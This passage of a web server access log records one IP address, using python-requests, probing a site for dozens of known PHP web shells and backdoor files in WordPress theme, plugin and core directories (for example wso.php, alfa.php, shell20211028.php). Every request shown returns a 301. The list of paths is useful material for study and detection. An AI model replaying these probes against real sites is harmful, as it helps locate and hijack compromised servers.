/wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:42 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:48 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:50 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:54 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:58 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:01 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:05 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:09 -0400] "GET /wp-cron.php?ac=3 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:13 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:19 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:23 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:26 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:29 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:33 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:41 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:44 -0400] "GET /wp-admin/css/ysirlifn.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:47 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:50 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:53 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:56 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:08:59 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:02 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:06 -0400] "GET /ofso64.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:10 -0400] "GET /wp-content/plugins/TOPXHOH/wDR.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:15 -0400] "GET /wp-content/plugins/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:19 -0400] "GET /wp-content/themes/ccx/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:21 -0400] "GET /wp-content/uploads/2017-------/09/wp-console.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:24 -0400] "GET /wp-includes/js/crop/uword.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:27 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:31 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:34 -0400] "GET /wp-content/uploads/2014/07/olx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:38 -0400] "GET /wp-admin/css/colors/midnight/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:41 -0400] "GET /wp-content/uploads/2020/wp-couldent.php.suspected HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:45 -0400] "GET /wp-content/plugins/523453244/ninja.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:48 -0400] "GET /wp-includes/js/imgareaselect/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:50 -0400] "GET /wp-includes/PHPMailer/load.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:54 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:09:57 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:00 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:05 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:09 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:13 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:17 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:20 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:25 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:28 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:30 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:33 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:38 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:41 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:44 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:48 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:51 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:54 -0400] "GET /wp-content/plugins/ph-file-manager/wp-file.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:10:57 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:00 -0400] "GET /wp-content/plugins/root-file-manager/wp-file.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:03 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:05 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:08 -0400] "GET /wp-content/themes/jaida/lang.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:11 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:14 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:18 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:21 -0400] "GET /cgi-bin/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:24 -0400] "GET /wp-includes/rest-api/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:26 -0400] "GET /wp-admin/images/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:29 -0400] "GET /wp-includes/block-supports/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:32 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:35 -0400] "GET /wp-includes/js/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:39 -0400] "GET /.well-known/pki-validation/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:42 -0400] "GET /wp-includes/css/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:45 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:49 -0400] "GET /wp-includes/PHPMailer/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:52 -0400] "GET /wp-includes/blocks/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:55 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:11:59 -0400] "GET /wp-includes/Requests/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:02 -0400] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:06 -0400] "GET /.well-known/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:09 -0400] "GET /wp-content/uploads/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:12 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:16 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:19 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:24 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:28 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:32 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:35 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:38 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:41 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:46 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:48 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:55 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:12:59 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:06 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:09 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:12 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:15 -0400] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:18 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:22 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:26 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:29 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:33 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:35 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:40 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:45 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:49 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:52 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:55 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:13:57 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:00 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:03 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:06 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:09 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:12 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:15 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:18 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:22 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:25 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:28 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:37 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:39 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:42 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:45 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:49 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:52 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:55 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:14:58 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:03 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:11 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:16 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:20 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:23 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:26 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:30 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:33 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:36 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:39 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:45 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:48 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:51 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:54 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:15:57 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:00 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:03 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:07 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:11 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:14 -0400] "GET /504.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:17 -0400] "GET /444.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:20 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:22 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:24 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:27 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:30 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:32 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:35 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:37 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:40 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:43 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:47 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:50 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:52 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:55 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:16:58 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:01 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:04 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:07 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:10 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:12 -0400] "GET /wp-post.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:15 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:18 -0400] "GET /wp-content/themes/newsfeed-theme/bbh.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:22 -0400] "GET /asdasdsasd.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:25 -0400] "GET /wp-admin/css/colors/blue/cons.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:29 -0400] "GET /wp-pussy.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:33 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:35 -0400] "GET /wp-admin/maint/cons.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:38 -0400] "GET /bbh.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:41 -0400] "GET /wp-includes/IXR/newsfeed.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:43 -0400] "GET /wp-content/plugins/newsfeed/newsfeed.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:45 -0400] "GET /newsfeed.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:48 -0400] "GET /wp-content/themes/tema/gn928.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:51 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:53 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:17:57 -0400] "GET /wp-content/themes/newsfeed-theme/newsfeed.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:01 -0400] "GET /wp-content/themes/newsfeed-theme/bbh.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:05 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:09 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:12 -0400] "GET /wp-png.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:15 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:18 -0400] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:21 -0400] "GET /w1xxasasx.php?p= HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:24 -0400] "GET /wp-configssss.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:31 -0400] "GET /cons.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:34 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:36 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:39 -0400] "GET /ThreeFox_Exploit/index.php?threefox HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:42 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:44 -0400] "GET /wp-content/plugins/helloblogx/wp_wol.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:47 -0400] "GET /wp-content/plugins/helloblogx/wp-apxupx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:18:50 -0400] "GET /wp-content/plugins/helloblogx/wp_wol.php HTTP/1.1" 301 795 "-" 